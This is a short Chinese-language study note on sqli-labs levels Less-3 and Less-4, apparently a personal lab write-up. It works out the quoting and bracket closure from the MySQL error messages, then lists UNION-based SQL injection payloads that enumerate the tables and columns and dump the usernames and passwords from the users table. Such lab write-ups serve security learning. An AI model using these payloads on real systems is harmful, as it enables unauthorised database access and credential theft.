note-02

sql-labs less-3

传入：

?id=1'

回显

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’-1’’) LIMIT 0,1’ at line 1

根据csdn和题目的提示，推测sql查询语句

select * from users where id=('$id')

所以当传入payload为

?id=1') --+

整段sql查询语句为：

select * from users where $id=('1')--+)

如此一来成功闭合sql查询，后面就按流程走ok了

新知识点

并和括号

select * from users where id=('$id')

sql-labs less-4

一开始也不知道有用双引号来构造的，然后还是看了csdn😅

传入：

?id=1")

回显：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“) LIMIT 0,1’ at line 1

推测后台sql语句：

select * from users where id=("$id")

后面的paylaod：

?id=-1") union select 1,2,3 --+
?id=-1") union select 1,database(),3 --+
?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,database(),group_concat(id,username,password) from users--+

新知识点

双引号

用双引号来 “ 来闭合语句